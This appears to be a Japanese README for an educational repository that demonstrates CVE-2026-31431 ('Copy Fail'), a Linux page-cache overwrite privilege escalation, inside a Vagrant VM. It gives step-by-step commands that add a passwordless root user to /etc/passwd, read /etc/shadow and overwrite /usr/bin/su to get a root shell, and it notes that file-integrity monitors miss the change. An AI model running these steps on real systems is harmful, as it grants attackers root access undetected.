
CVE-2026-31431、Linux カーネルの Copy Fail ローカル権限昇格の脆弱性のデモと解説です。この脆弱性により、読み取り権限で開かれたファイルのデータがページキャッシュ内で上書きされる可能性があります。
このリポジトリは教育目的のみであり、管理された環境で脆弱性を示しています。 含まれるファイルは次のとおりです:
├── exploit
│ ├── copy_fail.py # Custom exploit that can target any file with read permissions
│ ├── original_payload.txt # A copy of the payload used in the original exploit
│ ├── copy_fail_original.py # Original exploit that overwrites /usr/bin/su
│ └── copy_fail_readable.py # Original exploit in a more readable format with an explanation of the payload
├── README.md
└── Vagrantfile # Setup for the Vagrant VM running Ubuntu 22.04
Copy Fail と名付けられたこの脆弱性は、algif_aead の論理的な欠陥により、2017年から2026年までの Linux カーネルに存在します。CVE-2026-31431 に割り当てられ、CVSS スコアは 7.8 で、深刻度は高と評価されています。このエクスプロイトは決定的に動作し、従来のファイル整合性監視ツールを回避できます。
Proof of Concept は C、Python、Go などさまざまな言語で公開されていますが、このデモでは Python を使用しており、Python バージョン 3.10 以上が必要です。 このエクスプロイトは、低権限ユーザーとしてのローカルコード実行を必要とし、ローカル権限昇格に使用できます。
以下のセクションは次のとおりです:
Vagrant と QEMU がインストールされていることを確認してください。次に、このリポジトリをクローンし、プロジェクトディレクトリに移動します。
vagrant up
vagrant ssh
VM 内で、自分の権限の限界をテストできます。
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # We are prompted for the root password, which we do not have
stat /usr/bin/su # We have read and execute permissions
stat /etc/passwd # We have read permission
stat /etc/shadow # We have no permissions
明らかに権限は制限されていますが、この脆弱性を使用して権限を昇格できます。
脆弱性を理解するために、ダミーファイルを上書きして何が起こるか見てみましょう。
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt
3行のファイルがあります。1行目は6バイト(改行を含む)、2行目は2バイト、3行目は1バイトです。これは重要です。エクスプロイトは4バイト単位でデータを上書きするため、ペイロードをパディングして4バイト単位に揃えます。
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt
ファイルの最初の8バイトがペイロードに置き換えられていることがわかります。そこには2つの文字がありますが、表示可能な文字ではありません。nano でファイルを開いて確認してください。しかし、これはあまり面白くないので、書き込み権限のないファイルへの書き込みに進みましょう。
/etc/passwd の内容を上書きして、root 権限を持つがパスワードのないユーザーを追加できます。
cat /etc/passwd
最初の行には root ユーザーが含まれており、4文字のグループが8つ(改行を含む)あります。フォーマットは次のとおりです root:x:0:0:root:/root:/bin/bash。各値は、ユーザー名、パスワード、UID、GID、ホームディレクトリ、シェルを指します。
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd
UID 0 と GID 0 を持つ新しいユーザー hackd を追加しました。これは root 権限を持つことを意味します。パスワードフィールドは空なので、パスワードなしでログインできます。
su hackd
id
cat /etc/shadow
元のエクスプロイトでは、/usr/bin/su バイナリがシェルを実行する命令で上書きされ、攻撃者が su を実行したときに root 権限を取得できるようになります。このエクスプロイトは、ファイルから元のペイロードを使用して /usr/bin/su をターゲットにすることで再現できます。これにより、ページキャッシュ内の su バイナリが破壊されることに注意してください。
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt
ペイロードが配置された状態で su を実行すると、root 権限を取得できます。これにより、ユーザー ID 0 のシェルが開きます。通常は root ユーザーですが、上記のデモを実行した場合は、作成した hackd ユーザーになります。このエクスプロイトは、root ユーザーにパスワードが設定されている場合でもシェルを開きます。
su
id
このエクスプロイトはディスク上のファイルを変更するのではなく、ページキャッシュの状態を変更します。そのため、ディスク上のファイルの変更をチェックする従来のファイル整合性監視ツールは、このエクスプロイトを検出できません。
これを示すために、上記のエクスプロイトを実行し、VM を再起動した後に対象ファイルの内容を確認してください。
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # The file is unchanged on disk
エクスプロイトでは以下のコンポーネントが使用されます:
AD||CT||TAGTAG の後にコピーすることでそれらの順序をその場で入れ替えるseqno_hi||seqno_lo||CT||TAG -> seqno_lo||seqno_hi||CT||TAG||seqno_loこの脆弱性を生み出したインプレース最適化を可能にしたコミット:
https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7
パッチは公のアナウンスなしに行われ、algif_aead のインプレース操作の機能を削除します:
https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
詳細情報:
Python 実装
C 実装
Go 実装